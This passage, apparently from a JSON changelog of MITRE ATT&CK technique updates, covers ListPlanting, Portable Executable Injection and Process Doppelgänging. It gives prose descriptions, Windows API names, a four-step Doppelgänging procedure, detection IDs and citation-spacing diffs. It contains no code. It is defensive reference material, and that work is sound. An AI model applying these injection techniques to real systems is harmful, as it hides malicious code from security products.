nowrap=\"nowrap\">ations&nbsp;of&nbsp;ListPlanting&nbsp;may&nbsp;allocate&nbsp;memory&nbsp;in&nbsp;the&nbsp;target&nbsp;pro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;of&nbsp;ListPlanting&nbsp;may&nbsp;allocate&nbsp;memory&nbsp;in&nbsp;the&nbsp;target&nbsp;proc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess&nbsp;but&nbsp;then&nbsp;use&nbsp;window&nbsp;messages&nbsp;to&nbsp;copy&nbsp;the&nbsp;payload,&nbsp;to&nbsp;av</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;but&nbsp;then&nbsp;use&nbsp;window&nbsp;messages&nbsp;to&nbsp;copy&nbsp;the&nbsp;payload,&nbsp;to&nbsp;avo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oid&nbsp;the&nbsp;use&nbsp;of&nbsp;the&nbsp;highly&nbsp;monitored&nbsp;&lt;code&gt;WriteProcessMemory</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">id&nbsp;the&nbsp;use&nbsp;of&nbsp;the&nbsp;highly&nbsp;monitored&nbsp;&lt;code&gt;WriteProcessMemory&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;/code&gt;&nbsp;function.&nbsp;For&nbsp;example,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;use&nbsp;the&nbsp;&lt;cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;&nbsp;function.&nbsp;For&nbsp;example,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;use&nbsp;the&nbsp;&lt;code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;PostMessage&lt;/code&gt;&nbsp;and/or&nbsp;&lt;code&gt;SendMessage&lt;/code&gt;&nbsp;API&nbsp;fun</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;PostMessage&lt;/code&gt;&nbsp;and/or&nbsp;&lt;code&gt;SendMessage&lt;/code&gt;&nbsp;API&nbsp;func</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctions&nbsp;to&nbsp;send&nbsp;&lt;code&gt;LVM_SETITEMPOSITION&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;LV</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;to&nbsp;send&nbsp;&lt;code&gt;LVM_SETITEMPOSITION&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;LVM</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">M_GETITEMPOSITION&lt;/code&gt;&nbsp;messages,&nbsp;effectively&nbsp;copying&nbsp;a&nbsp;pay</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">_GETITEMPOSITION&lt;/code&gt;&nbsp;messages,&nbsp;effectively&nbsp;copying&nbsp;a&nbsp;payl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">load&nbsp;2&nbsp;bytes&nbsp;at&nbsp;a&nbsp;time&nbsp;to&nbsp;the&nbsp;allocated&nbsp;memory.(Citation:&nbsp;ES</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oad&nbsp;2&nbsp;bytes&nbsp;at&nbsp;a&nbsp;time&nbsp;to&nbsp;the&nbsp;allocated&nbsp;memory.(Citation:&nbsp;ESE</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ET&nbsp;InvisiMole&nbsp;June&nbsp;2020)&nbsp;&nbsp;&nbsp;Finally,&nbsp;the&nbsp;payload&nbsp;is&nbsp;triggered</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T&nbsp;InvisiMole&nbsp;June&nbsp;2020)&nbsp;&nbsp;&nbsp;Finally,&nbsp;the&nbsp;payload&nbsp;is&nbsp;triggered&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;by&nbsp;sending&nbsp;the&nbsp;&lt;code&gt;LVM_SORTITEMS&lt;/code&gt;&nbsp;message&nbsp;to&nbsp;the&nbsp;&lt;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">by&nbsp;sending&nbsp;the&nbsp;&lt;code&gt;LVM_SORTITEMS&lt;/code&gt;&nbsp;message&nbsp;to&nbsp;the&nbsp;&lt;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;SysListView32&lt;/code&gt;&nbsp;child&nbsp;of&nbsp;the&nbsp;process&nbsp;window,&nbsp;with&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;SysListView32&lt;/code&gt;&nbsp;child&nbsp;of&nbsp;the&nbsp;process&nbsp;window,&nbsp;with&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;payload&nbsp;within&nbsp;the&nbsp;newly&nbsp;allocated&nbsp;buffer&nbsp;passed&nbsp;and&nbsp;exec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;payload&nbsp;within&nbsp;the&nbsp;newly&nbsp;allocated&nbsp;buffer&nbsp;passed&nbsp;and&nbsp;execu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uted&nbsp;as&nbsp;the&nbsp;&lt;code&gt;ListView_SortItems&lt;/code&gt;&nbsp;callback.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;as&nbsp;the&nbsp;&lt;code&gt;ListView_SortItems&lt;/code&gt;&nbsp;callback.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0331: Detection Strategy for ListPlanting Injection on Windows"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-14 01:27:31.344000+00:00",
                    "modified": "2026-11-04 00:17:08.975000+00:00",
                    "name": "Portable Executable Injection",
                    "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1055/002",
                            "external_id": "T1055.002"
                        },
                        {
                            "source_name": "Elastic Process Injection July 2017",
                            "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                            "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:17:08.975000+00:00\", \"old_value\": \"2026-05-12 15:12:00.665000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.(Citation: Elastic Process Injection July 2017) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \\n+PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.(Citation: Elastic Process Injection July 2017) \\n \\n Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to159__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to159__0\"><a href=\"#difflib_chg_to159__top\">t</a></td><td class=\"diff_header\" id=\"from159_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;portable&nbsp;executables&nbsp;(PE)&nbsp;into&nbsp;proces</td><td class=\"diff_next\"><a href=\"#difflib_chg_to159__top\">t</a></td><td class=\"diff_header\" id=\"to159_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;portable&nbsp;executables&nbsp;(PE)&nbsp;into&nbsp;proces</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ses&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-based&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;poss</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ses&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-based&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;poss</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ibly&nbsp;elevate&nbsp;privileges.&nbsp;PE&nbsp;injection&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ibly&nbsp;elevate&nbsp;privileges.&nbsp;PE&nbsp;injection&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;pr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ocess.&nbsp;&nbsp;&nbsp;PE&nbsp;injection&nbsp;is&nbsp;commonly&nbsp;performed&nbsp;by&nbsp;copying&nbsp;code&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ocess.&nbsp;&nbsp;&nbsp;PE&nbsp;injection&nbsp;is&nbsp;commonly&nbsp;performed&nbsp;by&nbsp;copying&nbsp;code&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(perhaps&nbsp;without&nbsp;a&nbsp;file&nbsp;on&nbsp;disk)&nbsp;into&nbsp;the&nbsp;virtual&nbsp;address&nbsp;sp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(perhaps&nbsp;without&nbsp;a&nbsp;file&nbsp;on&nbsp;disk)&nbsp;into&nbsp;the&nbsp;virtual&nbsp;address&nbsp;sp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ace&nbsp;of&nbsp;the&nbsp;target&nbsp;process&nbsp;before&nbsp;invoking&nbsp;it&nbsp;via&nbsp;a&nbsp;new&nbsp;threa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ace&nbsp;of&nbsp;the&nbsp;target&nbsp;process&nbsp;before&nbsp;invoking&nbsp;it&nbsp;via&nbsp;a&nbsp;new&nbsp;threa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d.&nbsp;The&nbsp;write&nbsp;can&nbsp;be&nbsp;performed&nbsp;with&nbsp;native&nbsp;Windows&nbsp;API&nbsp;calls&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d.&nbsp;The&nbsp;write&nbsp;can&nbsp;be&nbsp;performed&nbsp;with&nbsp;native&nbsp;Windows&nbsp;API&nbsp;calls&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">such&nbsp;as&nbsp;&lt;code&gt;VirtualAllocEx&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;WriteProcessMe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">such&nbsp;as&nbsp;&lt;code&gt;VirtualAllocEx&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;WriteProcessMe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mory&lt;/code&gt;,&nbsp;then&nbsp;invoked&nbsp;with&nbsp;&lt;code&gt;CreateRemoteThread&lt;/cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mory&lt;/code&gt;,&nbsp;then&nbsp;invoked&nbsp;with&nbsp;&lt;code&gt;CreateRemoteThread&lt;/cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;&nbsp;or&nbsp;additional&nbsp;code&nbsp;(ex:&nbsp;shellcode).&nbsp;The&nbsp;displacement&nbsp;of&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;&nbsp;or&nbsp;additional&nbsp;code&nbsp;(ex:&nbsp;shellcode).&nbsp;The&nbsp;displacement&nbsp;of&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;injected&nbsp;code&nbsp;does&nbsp;introduce&nbsp;the&nbsp;additional&nbsp;requirement&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;injected&nbsp;code&nbsp;does&nbsp;introduce&nbsp;the&nbsp;additional&nbsp;requirement&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;functionality&nbsp;to&nbsp;remap&nbsp;memory&nbsp;references.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Elas</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;functionality&nbsp;to&nbsp;remap&nbsp;memory&nbsp;references.(Citation:&nbsp;Elast</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tic&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;&nbsp;&nbsp;Running&nbsp;code&nbsp;in&nbsp;the&nbsp;conte</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ic&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;&nbsp;&nbsp;Running&nbsp;code&nbsp;in&nbsp;the&nbsp;contex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xt&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow&nbsp;access&nbsp;to&nbsp;the&nbsp;process's&nbsp;memo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow&nbsp;access&nbsp;to&nbsp;the&nbsp;process's&nbsp;memor</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry,&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;possibly&nbsp;elevated&nbsp;privileg</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y,&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;possibly&nbsp;elevated&nbsp;privilege</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es.&nbsp;Execution&nbsp;via&nbsp;PE&nbsp;injection&nbsp;may&nbsp;also&nbsp;evade&nbsp;detection&nbsp;from</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;Execution&nbsp;via&nbsp;PE&nbsp;injection&nbsp;may&nbsp;also&nbsp;evade&nbsp;detection&nbsp;from&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;masked&nbsp;under&nbsp;a&nbsp;leg</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">security&nbsp;products&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;masked&nbsp;under&nbsp;a&nbsp;legi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itimate&nbsp;process.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">timate&nbsp;process.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0106: Behavioral Detection of PE Injection via Remote Memory Mapping"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-14 17:19:50.978000+00:00",
                    "modified": "2026-11-04 03:10:21.665000+00:00",
                    "name": "Process Doppelg\u00e4nging",
                    "description": "Adversaries may inject malicious code into a process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.(Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.(Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.(Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.(Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>.(Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps:\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1055/013",
                            "external_id": "T1055.013"
                        },
                        {
                            "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
                            "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
                            "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
                        },
                        {
                            "source_name": "Microsoft Basic TxF Concepts",
                            "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
                        },
                        {
                            "source_name": "Microsoft TxF",
                            "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
                        },
                        {
                            "source_name": "Microsoft Where to use TxF",
                            "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:10:21.665000+00:00\", \"old_value\": \"2026-05-12 15:12:00.641000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into a process via process doppelg\\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \\n\\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.(Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.(Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.(Citation: Microsoft Where to use TxF)\\n\\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.(Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n\\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>.(Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n\\nProcess Doppelg\\u00e4nging is implemented in 4 steps:\\n\\n* Transact \\u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\\n* Load \\u2013 Create a shared section of memory and load the malicious executable.\\n* Rollback \\u2013 Undo changes to original executable, effectively removing malicious code from the file system.\\n* Animate \\u2013 Create a process from the tainted section of memory and initiate execution.\\n\\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject malicious code into process via process doppelg\\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \\n\\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\\n\\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n\\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n\\nProcess Doppelg\\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017):\\n\\n* Transact \\u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\\n* Load \\u2013 Create a shared section of memory and load the malicious executable.\\n* Rollback \\u2013 Undo changes to original executable, effectively removing 